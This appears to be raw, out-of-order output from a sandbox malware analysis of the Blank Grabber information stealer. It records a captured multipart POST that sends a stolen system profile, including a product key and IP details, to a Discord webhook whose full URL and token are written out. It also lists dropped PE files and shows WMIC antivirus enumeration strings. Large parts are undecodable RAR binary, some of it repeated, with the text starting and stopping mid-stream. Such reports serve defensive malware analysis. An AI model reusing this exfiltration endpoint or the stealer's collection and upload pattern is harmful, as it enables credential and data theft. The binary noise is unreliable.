`dlø·ç-Û$|#ÀÃS.TîÆ]çDÎÍWï·N&kùGSÆjýl@Õ2\ýÆ)eá?(4½c^Éµ5S²Gë9³?ÔÛråb¢{Ï)dâ\9d×ë1²k]n¹§ãt.iDgæmLûfY£gË ;ºÀ¼eÈ¾0ÌÆC®gØyDYò©IÎÅÃØ@h1%ÛÿAãWÏë§ê¢L~éå©°÷FY;£Eú%¢eñçôa.N¸ $zúÅçväYÛ<¢.éÉk%o*çgLð i6JàÄÑH/Ì'³å\]:ýú "Â¢¼$$®ùÙô_æÈÉéî?²ÄdCÕ}¸rÁ{'9°0ÝNø×D.à7÷x)5;'c}w¼ )FêåµSÑäÎXêeVaz§ ÿfÇR0G¾J$Âõòwl2¾Vï×<Ü`Þd~f½PÆ=¬ÿòe³s¥S®¥°ÿ pòCÛe M8Àycùþþï0ðA4;pnN±PÞÇðæµPöh32]Ú$ëC'6æsGlÉO¤/Ô:h¤£°Jx\üú²'Îðx¾5!h7¿Ã\Ô*[Ü§ýºdã×kK_u;m)Ç{'mË¼gqTg8|¹CÄÞù7juò6fâúò8cÈ§(!èÁ÷ËÚo^ÿ¯%Ê6|PÿíÕ»2¬ÀO^xC%|+\dëhoLLÍê×é[îÔ»ÀCå1{(£,U÷§Øt2(û³]Ó¡½êÕ,U{k/ûÀ¸mÑ2GrIÌâ\!9Ùì¼»¨ÓeYJjrªrþEg¯HóðZ}I©@eã²¸Zepµ¸~Ø7ïw76ßÕfnD]|ÔE\('²è.º=dB/Z?L^¿Sÿ06ùÅe¬Rj8J´ôÀïú É»"f³D¢n_ÉXÝè¾ðJÉù,ÛV½Ú¶¿5¼ôiXhð¼Ý³;Ñ]4öuÂ¦û/H@pü?h|$]¤!qCO$ôþyiÅ´á;þÃÿ<üDH±pìNÜ¶óÊ©Í¶®I´?1ß¡yÝ^{NÐ×þt¬~ÍËÉ»B_¾efØ/`OQdØãok©ÏPÁEøqeÃo@6`üO;vð§Ó©r9i4`$´©6 !g.ÙTÚÁû¤kºöö%b¨Ønð»õQMjÓ»iæ¿äÒt»xÙpj7;+ðÃÞßN7{ðg#åKôhO*WßßºæfçIsF«ÓQ°Äk7¾~%Dw¯I´YÝpþªïÑÆQæû|¨QhÊùdÛömó½lÑÑïMû&#}ÏÇ¾®Ó1½²ÈÛY¶§PÆ3¿âð5Ø¾Û ¡KM}>éÙ?YöâÆÿå{î*mÿ¾ãÖ>X ÙÙ¹ÿáÂ¯ÍÂµÆÃÜÉô2ÆèÄ»Aµõn;æÀõúJßMiqzòf^SÄ°?çFrÝ ¸æßUGßÒ$q_ÿÏEK¤÷;{ß±iK£p#{»Ò?,¦qû?¶¢G/ì©ø5n3·5KÖ*¶mä äóÕ´X,¹z?M±eÔ=,Ý\SÍûÐ²<¾¾ËTKwtËO.Æy¹?Wþ>0b=ÜgÍ$aÿ×)À¸DÆ$ÅÊZ+M1Ö°1hëï]È:¨2¯±êÍµ8÷Hó/¦H>§l¢N6½¯×cm;ä#VÖ«>:IR¤ëäî[Xª=¶þTÂïü´å þ÷}gXHvÀì2Ù»ÜÜÄ:ª©á@*béd4x´êQðÿ3WúO<~CJ»V~)®H4f2uÆâ1~:Ö3tÜ_íªwaîè:·÷Rår°tÆ¦ÀõüXÆNøÖÜ9nÕ'âUdÞOÑâ¯Q>CRmÒ¶Â>>Üì@ì´3VKT&A®ÚÍq´]µeN8Y¿}×üyÔ`Sõ0+mÙA]¡kR÷¬®Y§Å\Ù¶ú\ÝÆ©:baÄükq{^äÅñU'Çïcåu&e^'óGÝ,²já1ÖÂRþÿ§cK`NÖ_IóÎ³6tQ¡#öBÞ-ÿUááµ¬Dýï?à;¨kïê~w92ù÷.qÑÐñúüÒ9QFMÈÄxXü6$ðDHdyCpÁ,_ª®xm`s?¥¸hôq8òÌ.³Gð:¿^õV2¾ý´ÍÎYL777¨®"NÂKHÓKèWâç` N;Ê'n#XcÀ¢ËQ«7ÛòÅ²:§âEV¸H«cÎÛdÏ¯LßÓ´"tÊE¾7RöÎfÍ'Òº À¨¹¾È6aKÚ³AÌðÙÀL*ì9]tV]+OcÇþ-ºÅàOÐZ@¦ò8í*`ÿ¹vìÑ%ò¡°ß!µ¦î1-ÙF 3=ÇZ\RÅðÍßj°À-óº%®¢7ÊàYÞF®K(¸6<ûúãA·^!Ít64¬_ñi&Äë¤`B)>%.}vg$R:?=ýíYòbÊ8ü§Û°lmÿ»úsdèáyåIÙ2²±Ôâ@×F¼ÁqøC@ö¬>ÜªÇÛ·ûüçÖþüÏ§Ö;ÁÕëú-Zÿ0µçöL_^\D<¬²ûûæfQq¹|ÞÑpuó±È£¼îø^ÔR´³@3¤µÙ!³³²Øêk6~"°}¢;óp¶æÜ1ZkE!öíè»C¼íµ-kòFUBz¶-µú»üjzS>£çr«aù^ê$Á>®Úì¢í£×mßÎ¥dØÏÂJ%(ÓâµÉ1CÃ¢VËN¾ä4²ÖÈi¼©ÄtEäxùÕBÔW30ÚnUõBÉjH2;»j½Ü;ÿQêvm·%¾¶äÝÂÃIO¤MÛ/!À¶÷TÓÂÁòUDñÓ¾ëG÷4Îú=«üTEVnýõj?¥w«´ÉÛ|¯>sz$ÿb·âØ{¡´ÓgÓj[ÖCë¡î9ÐÍm'9Ú~ZdoäõU0Ý_à÷±[¿ÒfYÍdLöIºÖ;7%§ÙJgkêþ*ðÉÑZ@hH¿ÅÊ¡°-Xu¯'IGsñ«ë?7£Û]¸T&QÅîÔeC"Ù_»yÓÈàÊlö?Uû(nÛ?6yQh£ýruPü¨$ØEâj1£n?g=ÿeÁyÎG7ßv'Ä-µþaÞ-wúÚ´1¶Çl¼&¸ufûix\eÄW%IAyÇ¼µKÑÉÿÖÈ*õÔ÷îÿ47ßóôâ9d¥Ù²4?»½`B6å²)gQ¬KTÂª×ñêU¹Ì!?ÃËêBn¨VHñ'u:,¡Õ'h:9ÈÒO°ôÒæÙcnÝ³NýñÂ×ÿLgWH_Lã!ÀÁa|¸*G: ¬èäy§Òk§ÐNRø¿W _±hd Iauî`Y$ÖË-ëÞ·ôÜîW/¡rWVå´Uç»a/HkKupD¥*ä%_O^F/ü:æËKCÜÉ¢ü ö"E|úªNêíÙV{¡`æ²k\Ió¨ú¾Ã^¦D¤£`Å¥?4õ*ZDîÞþCÏªÇÈìÅZ·FÅ ª+ïÂ¥ÕK¼q¯ÏÑú"ÄìyZknªXþQO[VT+[uìÌðQî¶¿l&×,©[þ»ÞUò³a´BB5°ÎúÒÝR&ôy^Ç*÷ßÔ¡?aèúwí2Ñ¦=HøÄÁÁÇj^+Ð7ÞWÂqr3¢!ç>Nk]÷inÀ-zXeèo³bSyÉÏ!çDÝÖS\8µýgÅ¾¾´kwÆ¨KR¤ã))F¢ÞäwÍÞ²àîíÐX£Ò>Eäe&tèÿºûÏéèJÍ} Í°yP ñ/´ÛÁ0¨Èø{hp8Ëº$÷uÃømt MépÎd(´ü÷È%*~¹+Ýä_¿ñ\3û5/qZÔ/|olµa{>!,¸ÏòÆEWsúAVòPnî«cÁBAnèJuÓc`«ñ?GyQÒä¯§ÀÍ¢È¶Cp|¨;àcWÿåfß#ßê`XÔW)í¼RJ°YÎËÛÚµß$á¨ùÍÏhvZ0>VK÷N[þ`%õßã¬°½nhÝIVûês>îqî¥ÇqèRVÍÓ@C3kÎY.[üCCñ&De(7SäÐÕo¬s9feþÓb"âGìhf;îVHzü#B%îCÖd&ôëGMÜÎÞËã?+;L+2$ÇHª øA¯Êp(îJpï{ÚDÔ©jvE¿²«¾õá;çÑ¸µXüP¿nQ"µï áìIOiO0Ãñ"Ò¦&gôÓëÓA/)ìÊñ+hàz/¾FjøNÅÑ*ÈñÅ7ö \~8úk¥d§Ñw¦±Aiã1û4\ÓòÔ*s+j¦f`¿¸¯Ã¾ißðÛ7Í[Qâpð1.üP³Ó§^ Æü¡1ÖÒ-ÅÄðí$«pÐ×¸ß[{#ÉZ·ãêò4@hi¼ÈãÖÀL°äämgª ²VÏ)7`äI¢K@ÀxaH*¿,Ñ4ài²G#ë¸÷ålî2õÓîð¬Ò__L=íýöÍ 7£ó/Jì(gêpÐòçËâ(Û¸C&$Ä¨s´ðÏ¿¬\Qüi®çp>þîZyiYÐæÌl>Ë^fõaaT@Õçi³ÀíÆA_;!û¹²û^ÙdÀÍùôÍåÛv¿fJí$ý¼Á!:0°¢ªA¤¢yÙL¢òÌ`}ü¨;Ù²Yv¥êèRÜæxÊÔdMë¤ü3Z°oFÂ5/ 2þp8¹[,å¯e!µsDKS\ÝÔÍÈ9cúÝ¿²©7¯8rQ>8k-ý-£E¹¨âÙ/SÉý]v'zãÉ´læ^B;×@Z×$¢Z(èù .Òâ¼Õÿ0ÿÅ jdëºµ?¸9àuvoò0"¸A=Skë0ª~!ÒopJø·jÍ#Ï·vAÛéè/í(zÏßz--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="payload_json"{"content": "||@everyone||", "embeds": [{"title": "Blank Grabber", "description": "**__System Info__\n```autohotkey\nComputer Name: DESKTOP-FVVF82A\nComputer OS: Microsoft Windows 10 Pro\nTotal Memory: 8 GB\nUUID: 58DE1142-81AF-35BD-38F7-41CA914531E6\nCPU: Intel64 Family 6 Model 79 Stepping 0 GenuineIntel\nGPU: VMware SVGA 3D\nProduct Key: DHWP9-NWWKH-G72RJ-CQ49T-P7JXM```\n__IP Info__```prolog\n\nIP: 64.124.12.162\nRegion: California\nCountry: United States\nTimezone: America/Los_Angeles\n\nCellular Network: \u274e\nProxy/VPN: \u274e\nReverse DNS: 64.124.12.162.IDIA-144793-004-ZYO.zip.zayo.com```\n__Grabbed Info__```js\nDiscord Accounts : 0\nPasswords : 0\nCookies : 0\nHistory : 8\nRoblox Cookies : 0\nTelegram Sessions : 0\nWallets : 0\nWifi Passwords : 0\nMinecraft Sessions : 0\nEpic Sessions : 0\nSteam Sessions : 0\nScreenshot : False\nSystem Info : True\nWebcam : 0```**", "url": "https://github.com/Blank-c/Blank-Grabber", "color": 34303, "footer": {"text": "Grabbed by Blank Grabber | https://github.com/Blank-c/Blank-Grabber"}, "thumbnail": {"url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}}], "username": "Blank Grabber", "avatar_url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}--99bc9948df5de1d58dd49f4619d3df09--" HTTP/1.1 404 Not Found Date: Wed 14 Oct 2026 08:48:00 GMT Content-Type: application/json Content-Length: 45 Connection: keep-alive Server: cloudflare Cache-Control: public max-age=3600 s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1791967681 x-ratelimit-reset-after: 1 x-discord-features: webhooks via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC set-cookie: _cfuvid=vXgh199X6dVlQaebkFGKHc9Cd9Cn0UE3orzoU2RAfIg-1791967680.33376-1.0.1.1-zKuGYiGtl1JO5WIm8xr6rcRCz9lQTGLc14kCCGo3kxw; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Znm8uks2zpjTVHVaURmV6m6dDE9p2ZIsfvOvKU%2FOpVAOIY8m5Jmbnur1VFXymsg%2Btbz7ADWwLQ8Agh56ITNVudtDffPAQtuTPOJLcr049FHdscDE0Akm%2FDDguhun"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable CF-RAY: a4a552921b1f91f0-SJC with response body ==>7B226D657373616765223A2022556E6B6E6F776E20576562686F6F6B222C2022636F6465223A2031303031357D.......76:Tccf,"python310.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\python310.dll]- [targetUID: 00000000-00007276] "libcrypto-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libcrypto-1_1.dll]- [targetUID: 00000000-00007276] "rar.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 7 sections"- Location: [%TEMP%\_MEI50282\rar.exe]- [targetUID: 00000000-00005028] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\sqlite3.dll]- [targetUID: 00000000-00007276] "libssl-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libssl-1_1.dll]- [targetUID: 00000000-00007276] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI50282\VCRUNTIME140.dll]- [targetUID: 00000000-00001004] "Camera.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 3 sections"- Location: [%TEMP%\_MEI50282\Camera.exe]- [targetUID: 00000000-00004380] "libffi-7.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libffi-7.dll]- [targetUID: 00000000-00007276] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\unicodedata.pyd]- [targetUID: 00000000-00007276] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_decimal.pyd]- [targetUID: 00000000-00005028] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_lzma.pyd]- [targetUID: 00000000-00007276] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_ssl.pyd]- [targetUID: 00000000-00007276] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_ctypes.pyd]- [targetUID: 00000000-00007276] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_sqlite3.pyd]- [targetUID: 00000000-00007276] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_bz2.pyd]- [targetUID: 00000000-00007276] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_socket.pyd]- [targetUID: 00000000-00007276] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_hashlib.pyd]- [targetUID: 00000000-00007276] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_queue.pyd]- [targetUID: 00000000-00007276] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\select.pyd]- [targetUID: 00000000-00007276] "tinyaes.cp310-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\tinyaes.cp310-win_amd64.pyd]- [targetUID: 00000000-00007276]77:T18d5,"builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\VCRUNTIME140.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_bz2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_ctypes.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_decimal.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_hashlib.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_lzma.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_queue.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_socket.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_sqlite3.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_ssl.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\libcrypto-1_1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\libffi-7.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\libssl-1_1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\python310.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\rar.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "builder.exe" wrote 29264 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\Camera.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...78:T96b,Found string "%WINDIR%\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" (Indicator: "/node:"; in Source: "00000000-00007276-00000C47-28869821506") Found string "%WINDIR%\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00006228-00000BC0-924983143") Found string "%WINDIR%\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00006228-00000C47-1185137390") Found string "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" (Indicator: "/node:"; in Source: "00000000-00006228-00000C47-1185137390") Found string "WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00006748-00000BC0-929574483") Found string "/c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" (Indicator: "/node:"; in File: "cmd.exe") Found string "syswow64\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00001732.00000000.176002.A0DA0000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000000.176826.C0162000.00000002.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="500"" (Indicator: "root\cimv2"; in Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="388"" (Indicator: "root\cimv2"; in Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="500"" (Indicator: "root\cimv2"; in Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="296"" (Indicator: "root\cimv2"; in Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="0"" (Indicator: "root\cimv2"; in Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4"" (Indicator: "root\cimv2"; in Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp")79:T2441,"POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 8159 User-Agent: python-urllib3/2.0.3 Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" with payload:==> "--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="file"; filename="Blank-HAPUBWS.rar"Content-Type: application/octet-streamRar!Å¾æÌ!¡ë[sÍØØIÓÑSgR±|ÞBá¹\$C¯¤_3K¯r-ÉùLÈÁ}hP4ïÓnã£ââÌÿÈ£yüªG°là¾bÄ%Þfe}Éõ³¯·àé³RS?×ºÎ¯×t;jgï5F¥÷UÚ0v<õºå1rN¯èu4Å³Ù?úv#3f¿|z½|Å7yóóÎ]ym.OdMãäÈ âÛ6PvHpÿ.ÌÞÐ(kUÔ~òJæ1£We×,òÖæ¬zDq8j¡xx9Â¬T ¶s%@öiL[Y¶Hó¢ÇGµ«y¬Fñc|^¢¡AØ86¹Ë/îû¼%ÿ§¯íCå9úá_6ãDPHÛ*}%*¦]j¯Ð¦o[ú&ð±2õZê%"1f0·9kv*{¥´sñC°öÛjsÑ@37ÜBãëa¶ÈðöI9ûëÜ_y¥ä>esã+@Ü«Â@®ÌUxz´FþÛu6=6ZÐ+ÎfX?µ{½!%Eü¬Ä?ºÌñ3í*óJ+}ÞïQìIÐW?ÐÈfTÅ#ìUÂÅ]8Ê^Q&å®¡ýÄ}S¬7Òö»»KGàcÈI=ðfqWÐãRçx®ÍðÑ^SÎ·{ØõßD&Rê;ÛXîñ½ãÊN×BßiBÄ[ëÍáÒÛqà±>ò;!ÿ=ÎQã1~_É\r¥È!÷£í(öRR9´uËú¾!õzÊY0P `dlø·ç-Û$|#ÀÃS.TîÆ]çDÎÍWï·N&kùGSÆjýl@Õ2\ýÆ)eá?(4½c^Éµ5S²Gë9³?ÔÛråb¢{Ï)dâ\9d×ë1²k]n¹§ãt.iDgæmLûfY£gË ;ºÀ¼eÈ¾0ÌÆC®gØyDYò©IÎÅÃØ@h1%ÛÿAãWÏë§ê¢L~éå©°÷FY;£Eú%¢eñçôa.N¸ $zúÅçväYÛ<¢.éÉk%o*çgLð i6JàÄÑH/Ì'³å\]:ýú "Â¢¼$$®ùÙô_æÈÉéî?²ÄdCÕ}¸rÁ{'9°0ÝNø×D.à7÷x)5;'c}w¼ )FêåµSÑäÎXêeVaz§ ÿfÇR0G¾J$Âõòwl2¾Vï×<Ü`Þd~f½PÆ=¬ÿòe³s¥S®¥°ÿ pòCÛe M8Àycùþþï0ðA4;pnN±PÞÇðæµPöh32]Ú$ëC'6æsGlÉO¤/Ô:h¤£°Jx\üú²'Îðx¾5!h7¿Ã\Ô*[Ü§ýºdã×kK_u;m)Ç{'mË¼gqTg8|¹CÄÞù7juò6fâúò8cÈ§(!èÁ÷ËÚo^ÿ¯%Ê6|PÿíÕ»2¬ÀO^xC%|+\dëhoLLÍê×é[îÔ»ÀCå1{(£,U÷§Øt2(û³]Ó¡½êÕ,U{k/ûÀ¸mÑ2GrIÌâ\!9Ùì¼»¨ÓeYJjrªrþEg¯HóðZ}I©@eã²¸Zepµ¸~Ø7ïw76ßÕfnD]|ÔE\('²è.º=dB/Z?L^¿Sÿ06ùÅe¬Rj8J´ôÀïú É»"f³D¢n_ÉXÝè¾ðJÉù,ÛV½Ú¶¿5¼ôiXhð¼Ý³;Ñ]4öuÂ¦û/H@pü?h|$]¤!qCO$ôþyiÅ´á;þÃÿ<üDH±pìNÜ¶óÊ©Í¶®I´?1ß¡yÝ^{NÐ×þt¬~ÍËÉ»B_¾efØ/`OQdØãok©ÏPÁEøqeÃo@6`üO;vð§Ó©r9i4`$´©6 !g.ÙTÚÁû¤kºöö%b¨Ønð»õQMjÓ»iæ¿äÒt»xÙpj7;+ðÃÞßN7{ðg#åKôhO*WßßºæfçIsF«ÓQ°Äk7¾~%Dw¯I´YÝpþªïÑÆQæû|¨QhÊùdÛömó½lÑÑïMû&#}ÏÇ¾®Ó1½²ÈÛY¶§PÆ3¿âð5Ø¾Û ¡KM}>éÙ?YöâÆÿå{î*mÿ¾ãÖ>X ÙÙ¹ÿáÂ¯ÍÂµÆÃÜÉô2ÆèÄ»Aµõn;æÀõúJßMiqzòf^SÄ°?çFrÝ ¸æßUGßÒ$q_ÿÏEK¤÷;{ß±iK£p#{»Ò?,¦qû?¶¢G/ì©ø5n3·5KÖ*¶mä äóÕ´X,¹z?M±eÔ=,Ý\SÍûÐ²<¾¾ËTKwtËO.Æy¹?Wþ>0b=ÜgÍ$aÿ×)À¸DÆ$ÅÊZ+M1Ö°1hëï]È:¨2¯±êÍµ8÷Hó/¦H>§l¢N6½¯×cm;ä#VÖ«>:IR¤ëäî[Xª=¶þTÂïü´å 